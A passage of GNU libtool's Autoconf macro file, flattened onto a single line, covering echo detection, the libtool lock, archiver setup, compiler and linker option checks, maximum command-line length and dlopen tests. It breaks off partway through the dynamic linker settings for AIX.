"X$echo_testing_string" = "X$echo_test_string"; then ECHO="$CONFIG_SHELL [$]0 --fallback-echo" else # maybe with a smaller string... prev=: for cmd in 'echo test' 'sed 2q "[$]0"' 'sed 10q "[$]0"' 'sed 20q "[$]0"' 'sed 50q "[$]0"'; do if { test "X$echo_test_string" = "X`eval $cmd`"; } 2>/dev/null then break fi prev="$cmd" done if test "$prev" != 'sed 50q "[$]0"'; then echo_test_string=`eval $prev` export echo_test_string exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "[$]0" ${1+"[$]@"} else # Oops. We lost completely, so just stick with echo. ECHO=echo fi fi fi fi fi fi # Copy echo and quote the copy suitably for passing to libtool from # the Makefile, instead of quoting the original, which is used later. lt_ECHO=$ECHO if test "X$lt_ECHO" = "X$CONFIG_SHELL [$]0 --fallback-echo"; then lt_ECHO="$CONFIG_SHELL \\\$\[$]0 --fallback-echo" fi AC_SUBST(lt_ECHO) ]) _LT_DECL([], [SHELL], [1], [Shell to use when invoking shell scripts]) _LT_DECL([], [ECHO], [1], [An echo program that does not interpret backslashes]) ])# _LT_PROG_ECHO_BACKSLASH # _LT_ENABLE_LOCK # --------------- m4_defun([_LT_ENABLE_LOCK], [AC_ARG_ENABLE([libtool-lock], [AS_HELP_STRING([--disable-libtool-lock], [avoid locking (might break parallel builds)])]) test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes # Some flags need to be propagated to the compiler or linker for good # libtool support. case $host in ia64-*-hpux*) # Find out which ABI we are using. echo 'int i;' > conftest.$ac_ext if AC_TRY_EVAL(ac_compile); then case `/usr/bin/file conftest.$ac_objext` in *ELF-32*) HPUX_IA64_MODE="32" ;; *ELF-64*) HPUX_IA64_MODE="64" ;; esac fi rm -rf conftest* ;; *-*-irix6*) # Find out which ABI we are using. echo '[#]line __oline__ "configure"' > conftest.$ac_ext if AC_TRY_EVAL(ac_compile); then if test "$lt_cv_prog_gnu_ld" = yes; then case `/usr/bin/file conftest.$ac_objext` in *32-bit*) LD="${LD-ld} -melf32bsmip" ;; *N32*) LD="${LD-ld} -melf32bmipn32" ;; *64-bit*) LD="${LD-ld} -melf64bmip" ;; esac else case `/usr/bin/file conftest.$ac_objext` in *32-bit*) LD="${LD-ld} -32" ;; *N32*) LD="${LD-ld} -n32" ;; *64-bit*) LD="${LD-ld} -64" ;; esac fi fi rm -rf conftest* ;; x86_64-*kfreebsd*-gnu|x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*| \ s390*-*linux*|s390*-*tpf*|sparc*-*linux*) # Find out which ABI we are using. echo 'int i;' > conftest.$ac_ext if AC_TRY_EVAL(ac_compile); then case `/usr/bin/file conftest.o` in *32-bit*) case $host in x86_64-*kfreebsd*-gnu) LD="${LD-ld} -m elf_i386_fbsd" ;; x86_64-*linux*) LD="${LD-ld} -m elf_i386" ;; ppc64-*linux*|powerpc64-*linux*) LD="${LD-ld} -m elf32ppclinux" ;; s390x-*linux*) LD="${LD-ld} -m elf_s390" ;; sparc64-*linux*) LD="${LD-ld} -m elf32_sparc" ;; esac ;; *64-bit*) case $host in x86_64-*kfreebsd*-gnu) LD="${LD-ld} -m elf_x86_64_fbsd" ;; x86_64-*linux*) LD="${LD-ld} -m elf_x86_64" ;; ppc*-*linux*|powerpc*-*linux*) LD="${LD-ld} -m elf64ppc" ;; s390*-*linux*|s390*-*tpf*) LD="${LD-ld} -m elf64_s390" ;; sparc*-*linux*) LD="${LD-ld} -m elf64_sparc" ;; esac ;; esac fi rm -rf conftest* ;; *-*-sco3.2v5*) # On SCO OpenServer 5, we need -belf to get full-featured binaries. SAVE_CFLAGS="$CFLAGS" CFLAGS="$CFLAGS -belf" AC_CACHE_CHECK([whether the C compiler needs -belf], lt_cv_cc_needs_belf, [AC_LANG_PUSH(C) AC_LINK_IFELSE([AC_LANG_PROGRAM([[]],[[]])],[lt_cv_cc_needs_belf=yes],[lt_cv_cc_needs_belf=no]) AC_LANG_POP]) if test x"$lt_cv_cc_needs_belf" != x"yes"; then # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf CFLAGS="$SAVE_CFLAGS" fi ;; sparc*-*solaris*) # Find out which ABI we are using. echo 'int i;' > conftest.$ac_ext if AC_TRY_EVAL(ac_compile); then case `/usr/bin/file conftest.o` in *64-bit*) case $lt_cv_prog_gnu_ld in yes*) LD="${LD-ld} -m elf64_sparc" ;; *) if ${LD-ld} -64 -r -o conftest2.o conftest.o >/dev/null 2>&1; then LD="${LD-ld} -64" fi ;; esac ;; esac fi rm -rf conftest* ;; esac need_locks="$enable_libtool_lock" ])# _LT_ENABLE_LOCK # _LT_CMD_OLD_ARCHIVE # ------------------- m4_defun([_LT_CMD_OLD_ARCHIVE], [AC_CHECK_TOOL(AR, ar, false) test -z "$AR" && AR=ar test -z "$AR_FLAGS" && AR_FLAGS=cru _LT_DECL([], [AR], [1], [The archiver]) _LT_DECL([], [AR_FLAGS], [1]) AC_CHECK_TOOL(STRIP, strip, :) test -z "$STRIP" && STRIP=: _LT_DECL([], [STRIP], [1], [A symbol stripping program]) AC_CHECK_TOOL(RANLIB, ranlib, :) test -z "$RANLIB" && RANLIB=: _LT_DECL([], [RANLIB], [1], [Commands used to install an old-style archive]) # Determine commands to create old-style static archives. old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs' old_postinstall_cmds='chmod 644 $oldlib' old_postuninstall_cmds= if test -n "$RANLIB"; then case $host_os in openbsd*) old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB -t \$oldlib" ;; *) old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB \$oldlib" ;; esac old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib" fi _LT_DECL([], [old_postinstall_cmds], [2]) _LT_DECL([], [old_postuninstall_cmds], [2]) _LT_TAGDECL([], [old_archive_cmds], [2], [Commands used to build an old-style archive]) ])# _LT_CMD_OLD_ARCHIVE # _LT_COMPILER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS, # [OUTPUT-FILE], [ACTION-SUCCESS], [ACTION-FAILURE]) # ---------------------------------------------------------------- # Check whether the given compiler option works AC_DEFUN([_LT_COMPILER_OPTION], [m4_require([_LT_FILEUTILS_DEFAULTS])dnl m4_require([_LT_DECL_SED])dnl AC_CACHE_CHECK([$1], [$2], [$2=no m4_if([$4], , [ac_outfile=conftest.$ac_objext], [ac_outfile=$4]) echo "$lt_simple_compile_test_code" > conftest.$ac_ext lt_compiler_flag="$3" # Insert the option either (1) after the last *FLAGS variable, or # (2) before a word containing "conftest.", or (3) at the end. # Note that $ac_compile itself does not contain backslashes and begins # with a dollar sign (not a hyphen), so the echo should work correctly. # The option is referenced via a variable to avoid confusing sed. lt_compile=`echo "$ac_compile" | $SED \ -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \ -e 's:$: $lt_compiler_flag:'` (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD) (eval "$lt_compile" 2>conftest.err) ac_status=$? cat conftest.err >&AS_MESSAGE_LOG_FD echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD if (exit $ac_status) && test -s "$ac_outfile"; then # The compiler can only warn and ignore the option if not recognized # So say no if there are warnings other than the usual output. $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then $2=yes fi fi $RM conftest* ]) if test x"[$]$2" = xyes; then m4_if([$5], , :, [$5]) else m4_if([$6], , :, [$6]) fi ])# _LT_COMPILER_OPTION # Old name: AU_ALIAS([AC_LIBTOOL_COMPILER_OPTION], [_LT_COMPILER_OPTION]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_COMPILER_OPTION], []) # _LT_LINKER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS, # [ACTION-SUCCESS], [ACTION-FAILURE]) # ---------------------------------------------------- # Check whether the given linker option works AC_DEFUN([_LT_LINKER_OPTION], [m4_require([_LT_FILEUTILS_DEFAULTS])dnl m4_require([_LT_DECL_SED])dnl AC_CACHE_CHECK([$1], [$2], [$2=no save_LDFLAGS="$LDFLAGS" LDFLAGS="$LDFLAGS $3" echo "$lt_simple_link_test_code" > conftest.$ac_ext if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then # The linker can only warn and ignore the option if not recognized # So say no if there are warnings if test -s conftest.err; then # Append any errors to the config.log. cat conftest.err 1>&AS_MESSAGE_LOG_FD $ECHO "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 if diff conftest.exp conftest.er2 >/dev/null; then $2=yes fi else $2=yes fi fi $RM -r conftest* LDFLAGS="$save_LDFLAGS" ]) if test x"[$]$2" = xyes; then m4_if([$4], , :, [$4]) else m4_if([$5], , :, [$5]) fi ])# _LT_LINKER_OPTION # Old name: AU_ALIAS([AC_LIBTOOL_LINKER_OPTION], [_LT_LINKER_OPTION]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_LINKER_OPTION], []) # LT_CMD_MAX_LEN #--------------- AC_DEFUN([LT_CMD_MAX_LEN], [AC_REQUIRE([AC_CANONICAL_HOST])dnl # find the maximum length of command line arguments AC_MSG_CHECKING([the maximum length of command line arguments]) AC_CACHE_VAL([lt_cv_sys_max_cmd_len], [dnl i=0 teststring="ABCD" case $build_os in msdosdjgpp*) # On DJGPP, this test can blow up pretty badly due to problems in libc # (any single argument exceeding 2000 bytes causes a buffer overrun # during glob expansion). Even if it were fixed, the result of this # check would be larger than it should be. lt_cv_sys_max_cmd_len=12288; # 12K is about right ;; gnu*) # Under GNU Hurd, this test is not required because there is # no limit to the length of command line arguments. # Libtool will interpret -1 as no limit whatsoever lt_cv_sys_max_cmd_len=-1; ;; cygwin* | mingw* | cegcc*) # On Win9x/ME, this test blows up -- it succeeds, but takes # about 5 minutes as the teststring grows exponentially. # Worse, since 9x/ME are not pre-emptively multitasking, # you end up with a "frozen" computer, even though with patience # the test eventually succeeds (with a max line length of 256k). # Instead, let's just punt: use the minimum linelength reported by # all of the supported platforms: 8192 (on NT/2K/XP). lt_cv_sys_max_cmd_len=8192; ;; amigaos*) # On AmigaOS with pdksh, this test takes hours, literally. # So we just punt and use a minimum line length of 8192. lt_cv_sys_max_cmd_len=8192; ;; netbsd* | freebsd* | openbsd* | darwin* | dragonfly*) # This has been around since 386BSD, at least. Likely further. if test -x /sbin/sysctl; then lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax` elif test -x /usr/sbin/sysctl; then lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax` else lt_cv_sys_max_cmd_len=65536 # usable default for all BSDs fi # And add a safety zone lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3` ;; interix*) # We know the value 262144 and hardcode it with a safety zone (like BSD) lt_cv_sys_max_cmd_len=196608 ;; osf*) # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not # nice to cause kernel panics so lets avoid the loop below. # First set a reasonable default. lt_cv_sys_max_cmd_len=16384 # if test -x /sbin/sysconfig; then case `/sbin/sysconfig -q proc exec_disable_arg_limit` in *1*) lt_cv_sys_max_cmd_len=-1 ;; esac fi ;; sco3.2v5*) lt_cv_sys_max_cmd_len=102400 ;; sysv5* | sco5v6* | sysv4.2uw2*) kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null` if test -n "$kargmax"; then lt_cv_sys_max_cmd_len=`echo $kargmax | sed 's/.*[[ ]]//'` else lt_cv_sys_max_cmd_len=32768 fi ;; *) lt_cv_sys_max_cmd_len=`(getconf ARG_MAX) 2> /dev/null` if test -n "$lt_cv_sys_max_cmd_len"; then lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3` else # Make teststring a little bigger before we do anything with it. # a 1K string should be a reasonable start. for i in 1 2 3 4 5 6 7 8 ; do teststring=$teststring$teststring done SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}} # If test is not a shell built-in, we'll probably end up computing a # maximum length that is only half of the actual maximum length, but # we can't tell. while { test "X"`$SHELL [$]0 --fallback-echo "X$teststring$teststring" 2>/dev/null` \ = "XX$teststring$teststring"; } >/dev/null 2>&1 && test $i != 17 # 1/2 MB should be enough do i=`expr $i + 1` teststring=$teststring$teststring done # Only check the string length outside the loop. lt_cv_sys_max_cmd_len=`expr "X$teststring" : ".*" 2>&1` teststring= # Add a significant safety factor because C++ compilers can tack on # massive amounts of additional arguments before passing them to the # linker. It appears as though 1/2 is a usable value. lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2` fi ;; esac ]) if test -n $lt_cv_sys_max_cmd_len ; then AC_MSG_RESULT($lt_cv_sys_max_cmd_len) else AC_MSG_RESULT(none) fi max_cmd_len=$lt_cv_sys_max_cmd_len _LT_DECL([], [max_cmd_len], [0], [What is the maximum length of a command?]) ])# LT_CMD_MAX_LEN # Old name: AU_ALIAS([AC_LIBTOOL_SYS_MAX_CMD_LEN], [LT_CMD_MAX_LEN]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_SYS_MAX_CMD_LEN], []) # _LT_HEADER_DLFCN # ---------------- m4_defun([_LT_HEADER_DLFCN], [AC_CHECK_HEADERS([dlfcn.h], [], [], [AC_INCLUDES_DEFAULT])dnl ])# _LT_HEADER_DLFCN # _LT_TRY_DLOPEN_SELF (ACTION-IF-TRUE, ACTION-IF-TRUE-W-USCORE, # ACTION-IF-FALSE, ACTION-IF-CROSS-COMPILING) # ---------------------------------------------------------------- m4_defun([_LT_TRY_DLOPEN_SELF], [m4_require([_LT_HEADER_DLFCN])dnl if test "$cross_compiling" = yes; then : [$4] else lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 lt_status=$lt_dlunknown cat > conftest.$ac_ext <<_LT_EOF [#line __oline__ "configure" #include "confdefs.h" #if HAVE_DLFCN_H #include #endif #include #ifdef RTLD_GLOBAL # define LT_DLGLOBAL RTLD_GLOBAL #else # ifdef DL_GLOBAL # define LT_DLGLOBAL DL_GLOBAL # else # define LT_DLGLOBAL 0 # endif #endif /* We may have to define LT_DLLAZY_OR_NOW in the command line if we find out it does not work in some platform. */ #ifndef LT_DLLAZY_OR_NOW # ifdef RTLD_LAZY # define LT_DLLAZY_OR_NOW RTLD_LAZY # else # ifdef DL_LAZY # define LT_DLLAZY_OR_NOW DL_LAZY # else # ifdef RTLD_NOW # define LT_DLLAZY_OR_NOW RTLD_NOW # else # ifdef DL_NOW # define LT_DLLAZY_OR_NOW DL_NOW # else # define LT_DLLAZY_OR_NOW 0 # endif # endif # endif # endif #endif void fnord() { int i=42;} int main () { void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); int status = $lt_dlunknown; if (self) { if (dlsym (self,"fnord")) status = $lt_dlno_uscore; else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; /* dlclose (self); */ } else puts (dlerror ()); return status; }] _LT_EOF if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext} 2>/dev/null; then (./conftest; exit; ) >&AS_MESSAGE_LOG_FD 2>/dev/null lt_status=$? case x$lt_status in x$lt_dlno_uscore) $1 ;; x$lt_dlneed_uscore) $2 ;; x$lt_dlunknown|x*) $3 ;; esac else : # compilation failed $3 fi fi rm -fr conftest* ])# _LT_TRY_DLOPEN_SELF # LT_SYS_DLOPEN_SELF # ------------------ AC_DEFUN([LT_SYS_DLOPEN_SELF], [m4_require([_LT_HEADER_DLFCN])dnl if test "x$enable_dlopen" != xyes; then enable_dlopen=unknown enable_dlopen_self=unknown enable_dlopen_self_static=unknown else lt_cv_dlopen=no lt_cv_dlopen_libs= case $host_os in beos*) lt_cv_dlopen="load_add_on" lt_cv_dlopen_libs= lt_cv_dlopen_self=yes ;; mingw* | pw32* | cegcc*) lt_cv_dlopen="LoadLibrary" lt_cv_dlopen_libs= ;; cygwin*) lt_cv_dlopen="dlopen" lt_cv_dlopen_libs= ;; darwin*) # if libdl is installed we need to link against it AC_CHECK_LIB([dl], [dlopen], [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],[ lt_cv_dlopen="dyld" lt_cv_dlopen_libs= lt_cv_dlopen_self=yes ]) ;; *) AC_CHECK_FUNC([shl_load], [lt_cv_dlopen="shl_load"], [AC_CHECK_LIB([dld], [shl_load], [lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-ldld"], [AC_CHECK_FUNC([dlopen], [lt_cv_dlopen="dlopen"], [AC_CHECK_LIB([dl], [dlopen], [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"], [AC_CHECK_LIB([svld], [dlopen], [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld"], [AC_CHECK_LIB([dld], [dld_link], [lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-ldld"]) ]) ]) ]) ]) ]) ;; esac if test "x$lt_cv_dlopen" != xno; then enable_dlopen=yes else enable_dlopen=no fi case $lt_cv_dlopen in dlopen) save_CPPFLAGS="$CPPFLAGS" test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" save_LDFLAGS="$LDFLAGS" wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" save_LIBS="$LIBS" LIBS="$lt_cv_dlopen_libs $LIBS" AC_CACHE_CHECK([whether a program can dlopen itself], lt_cv_dlopen_self, [dnl _LT_TRY_DLOPEN_SELF( lt_cv_dlopen_self=yes, lt_cv_dlopen_self=yes, lt_cv_dlopen_self=no, lt_cv_dlopen_self=cross) ]) if test "x$lt_cv_dlopen_self" = xyes; then wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\" AC_CACHE_CHECK([whether a statically linked program can dlopen itself], lt_cv_dlopen_self_static, [dnl _LT_TRY_DLOPEN_SELF( lt_cv_dlopen_self_static=yes, lt_cv_dlopen_self_static=yes, lt_cv_dlopen_self_static=no, lt_cv_dlopen_self_static=cross) ]) fi CPPFLAGS="$save_CPPFLAGS" LDFLAGS="$save_LDFLAGS" LIBS="$save_LIBS" ;; esac case $lt_cv_dlopen_self in yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; *) enable_dlopen_self=unknown ;; esac case $lt_cv_dlopen_self_static in yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; *) enable_dlopen_self_static=unknown ;; esac fi _LT_DECL([dlopen_support], [enable_dlopen], [0], [Whether dlopen is supported]) _LT_DECL([dlopen_self], [enable_dlopen_self], [0], [Whether dlopen of programs is supported]) _LT_DECL([dlopen_self_static], [enable_dlopen_self_static], [0], [Whether dlopen of statically linked programs is supported]) ])# LT_SYS_DLOPEN_SELF # Old name: AU_ALIAS([AC_LIBTOOL_DLOPEN_SELF], [LT_SYS_DLOPEN_SELF]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_DLOPEN_SELF], []) # _LT_COMPILER_C_O([TAGNAME]) # --------------------------- # Check to see if options -c and -o are simultaneously supported by compiler. # This macro does not hard code the compiler like AC_PROG_CC_C_O. m4_defun([_LT_COMPILER_C_O], [m4_require([_LT_DECL_SED])dnl m4_require([_LT_FILEUTILS_DEFAULTS])dnl m4_require([_LT_TAG_COMPILER])dnl AC_CACHE_CHECK([if $compiler supports -c -o file.$ac_objext], [_LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)], [_LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)=no $RM -r conftest 2>/dev/null mkdir conftest cd conftest mkdir out echo "$lt_simple_compile_test_code" > conftest.$ac_ext lt_compiler_flag="-o out/conftest2.$ac_objext" # Insert the option either (1) after the last *FLAGS variable, or # (2) before a word containing "conftest.", or (3) at the end. # Note that $ac_compile itself does not contain backslashes and begins # with a dollar sign (not a hyphen), so the echo should work correctly. lt_compile=`echo "$ac_compile" | $SED \ -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \ -e 's:$: $lt_compiler_flag:'` (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD) (eval "$lt_compile" 2>out/conftest.err) ac_status=$? cat out/conftest.err >&AS_MESSAGE_LOG_FD echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD if (exit $ac_status) && test -s out/conftest2.$ac_objext then # The compiler can only warn and ignore the option if not recognized # So say no if there are warnings $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2 if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then _LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes fi fi chmod u+w . 2>&AS_MESSAGE_LOG_FD $RM conftest* # SGI C++ compiler will create directory out/ii_files/ for # template instantiation test -d out/ii_files && $RM out/ii_files/* && rmdir out/ii_files $RM out/* && rmdir out cd .. $RM -r conftest $RM conftest* ]) _LT_TAGDECL([compiler_c_o], [lt_cv_prog_compiler_c_o], [1], [Does compiler simultaneously support -c and -o options?]) ])# _LT_COMPILER_C_O # _LT_COMPILER_FILE_LOCKS([TAGNAME]) # ---------------------------------- # Check to see if we can do hard links to lock some files if needed m4_defun([_LT_COMPILER_FILE_LOCKS], [m4_require([_LT_ENABLE_LOCK])dnl m4_require([_LT_FILEUTILS_DEFAULTS])dnl _LT_COMPILER_C_O([$1]) hard_links="nottested" if test "$_LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)" = no && test "$need_locks" != no; then # do not overwrite the value of need_locks provided by the user AC_MSG_CHECKING([if we can lock with hard links]) hard_links=yes $RM conftest* ln conftest.a conftest.b 2>/dev/null && hard_links=no touch conftest.a ln conftest.a conftest.b 2>&5 || hard_links=no ln conftest.a conftest.b 2>/dev/null && hard_links=no AC_MSG_RESULT([$hard_links]) if test "$hard_links" = no; then AC_MSG_WARN([`$CC' does not support `-c -o', so `make -j' may be unsafe]) need_locks=warn fi else need_locks=no fi _LT_DECL([], [need_locks], [1], [Must we lock files when doing compilation?]) ])# _LT_COMPILER_FILE_LOCKS # _LT_CHECK_OBJDIR # ---------------- m4_defun([_LT_CHECK_OBJDIR], [AC_CACHE_CHECK([for objdir], [lt_cv_objdir], [rm -f .libs 2>/dev/null mkdir .libs 2>/dev/null if test -d .libs; then lt_cv_objdir=.libs else # MS-DOS does not allow filenames that begin with a dot. lt_cv_objdir=_libs fi rmdir .libs 2>/dev/null]) objdir=$lt_cv_objdir _LT_DECL([], [objdir], [0], [The name of the directory that contains temporary libtool files])dnl m4_pattern_allow([LT_OBJDIR])dnl AC_DEFINE_UNQUOTED(LT_OBJDIR, "$lt_cv_objdir/", [Define to the sub-directory in which libtool stores uninstalled libraries.]) ])# _LT_CHECK_OBJDIR # _LT_LINKER_HARDCODE_LIBPATH([TAGNAME]) # -------------------------------------- # Check hardcoding attributes. m4_defun([_LT_LINKER_HARDCODE_LIBPATH], [AC_MSG_CHECKING([how to hardcode library paths into programs]) _LT_TAGVAR(hardcode_action, $1)= if test -n "$_LT_TAGVAR(hardcode_libdir_flag_spec, $1)" || test -n "$_LT_TAGVAR(runpath_var, $1)" || test "X$_LT_TAGVAR(hardcode_automatic, $1)" = "Xyes" ; then # We can hardcode non-existent directories. if test "$_LT_TAGVAR(hardcode_direct, $1)" != no && # If the only mechanism to avoid hardcoding is shlibpath_var, we # have to relink, otherwise we might link with an installed library # when we should be linking with a yet-to-be-installed one ## test "$_LT_TAGVAR(hardcode_shlibpath_var, $1)" != no && test "$_LT_TAGVAR(hardcode_minus_L, $1)" != no; then # Linking always hardcodes the temporary library directory. _LT_TAGVAR(hardcode_action, $1)=relink else # We can link without hardcoding, and we can hardcode nonexisting dirs. _LT_TAGVAR(hardcode_action, $1)=immediate fi else # We cannot hardcode anything, or else we can only hardcode existing # directories. _LT_TAGVAR(hardcode_action, $1)=unsupported fi AC_MSG_RESULT([$_LT_TAGVAR(hardcode_action, $1)]) if test "$_LT_TAGVAR(hardcode_action, $1)" = relink || test "$_LT_TAGVAR(inherit_rpath, $1)" = yes; then # Fast installation is not supported enable_fast_install=no elif test "$shlibpath_overrides_runpath" = yes || test "$enable_shared" = no; then # Fast installation is not necessary enable_fast_install=needless fi _LT_TAGDECL([], [hardcode_action], [0], [How to hardcode a shared library path into an executable]) ])# _LT_LINKER_HARDCODE_LIBPATH # _LT_CMD_STRIPLIB # ---------------- m4_defun([_LT_CMD_STRIPLIB], [m4_require([_LT_DECL_EGREP]) striplib= old_striplib= AC_MSG_CHECKING([whether stripping libraries is possible]) if test -n "$STRIP" && $STRIP -V 2>&1 | $GREP "GNU strip" >/dev/null; then test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" test -z "$striplib" && striplib="$STRIP --strip-unneeded" AC_MSG_RESULT([yes]) else # FIXME - insert some real tests, host_os isn't really good enough case $host_os in darwin*) if test -n "$STRIP" ; then striplib="$STRIP -x" old_striplib="$STRIP -S" AC_MSG_RESULT([yes]) else AC_MSG_RESULT([no]) fi ;; *) AC_MSG_RESULT([no]) ;; esac fi _LT_DECL([], [old_striplib], [1], [Commands to strip libraries]) _LT_DECL([], [striplib], [1]) ])# _LT_CMD_STRIPLIB # _LT_SYS_DYNAMIC_LINKER([TAG]) # ----------------------------- # PORTME Fill in your ld.so characteristics m4_defun([_LT_SYS_DYNAMIC_LINKER], [AC_REQUIRE([AC_CANONICAL_HOST])dnl m4_require([_LT_DECL_EGREP])dnl m4_require([_LT_FILEUTILS_DEFAULTS])dnl m4_require([_LT_DECL_OBJDUMP])dnl m4_require([_LT_DECL_SED])dnl AC_MSG_CHECKING([dynamic linker characteristics]) m4_if([$1], [], [ if test "$GCC" = yes; then case $host_os in darwin*) lt_awk_arg="/^libraries:/,/LR/" ;; *) lt_awk_arg="/^libraries:/" ;; esac lt_search_path_spec=`$CC -print-search-dirs | awk $lt_awk_arg | $SED -e "s/^libraries://" -e "s,=/,/,g"` if $ECHO "$lt_search_path_spec" | $GREP ';' >/dev/null ; then # if the path contains ";" then we assume it to be the separator # otherwise default to the standard path separator (i.e. ":") - it is # assumed that no part of a normal pathname contains ";" but that should # okay in the real world where ";" in dirpaths is itself problematic. lt_search_path_spec=`$ECHO "$lt_search_path_spec" | $SED -e 's/;/ /g'` else lt_search_path_spec=`$ECHO "$lt_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` fi # Ok, now we have the path, separated by spaces, we can step through it # and add multilib dir if necessary. lt_tmp_lt_search_path_spec= lt_multi_os_dir=`$CC $CPPFLAGS $CFLAGS $LDFLAGS -print-multi-os-directory 2>/dev/null` for lt_sys_path in $lt_search_path_spec; do if test -d "$lt_sys_path/$lt_multi_os_dir"; then lt_tmp_lt_search_path_spec="$lt_tmp_lt_search_path_spec $lt_sys_path/$lt_multi_os_dir" else test -d "$lt_sys_path" && \ lt_tmp_lt_search_path_spec="$lt_tmp_lt_search_path_spec $lt_sys_path" fi done lt_search_path_spec=`$ECHO $lt_tmp_lt_search_path_spec | awk ' BEGIN {RS=" "; FS="/|\n";} { lt_foo=""; lt_count=0; for (lt_i = NF; lt_i > 0; lt_i--) { if ($lt_i != "" && $lt_i != ".") { if ($lt_i == "..") { lt_count++; } else { if (lt_count == 0) { lt_foo="/" $lt_i lt_foo; } else { lt_count--; } } } } if (lt_foo != "") { lt_freq[[lt_foo]]++; } if (lt_freq[[lt_foo]] == 1) { print lt_foo; } }'` sys_lib_search_path_spec=`$ECHO $lt_search_path_spec` else sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" fi]) library_names_spec= libname_spec='lib$name' soname_spec= shrext_cmds=".so" postinstall_cmds= postuninstall_cmds= finish_cmds= finish_eval= shlibpath_var= shlibpath_overrides_runpath=unknown version_type=none dynamic_linker="$host_os ld.so" sys_lib_dlsearch_path_spec="/lib /usr/lib" need_lib_prefix=unknown hardcode_into_libs=no # when you set need_version to no, make sure it does not cause -set_version # flags to be left without arguments need_version=unknown case $host_os in aix3*) version_type=linux library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' shlibpath_var=LIBPATH # AIX 3 has no versioning support, so we append a major version to the name. soname_spec='${libname}${release}${shared_ext}$major' ;; aix[[4-9]]*) version_type=linux need_lib_prefix=no need_version=no hardcode_into_libs=yes if test "$host_cpu" = ia64; then # AIX 5 supports IA64 library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' shlibpath_var=LD_LIBRARY_PATH else # With GCC up to 2.95.x, collect2 would create an import file # for dependence libraries. The import file would start with # the line `#! .'. This would cause the generated library to # depend on `.', always an invalid library. This was fixed in # development snapshots of GCC prior to 3.0. case $host_os in aix4 | aix4.[[01]] | aix4.[[01]].*) if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' echo ' yes ' echo '#endif'; } | ${CC} -E - | $GREP yes > /dev/null; then : else can_build_shared=no fi ;; esac # AIX (on Power*) has no versioning support, so currently we can not hardcode correct # soname into executable. 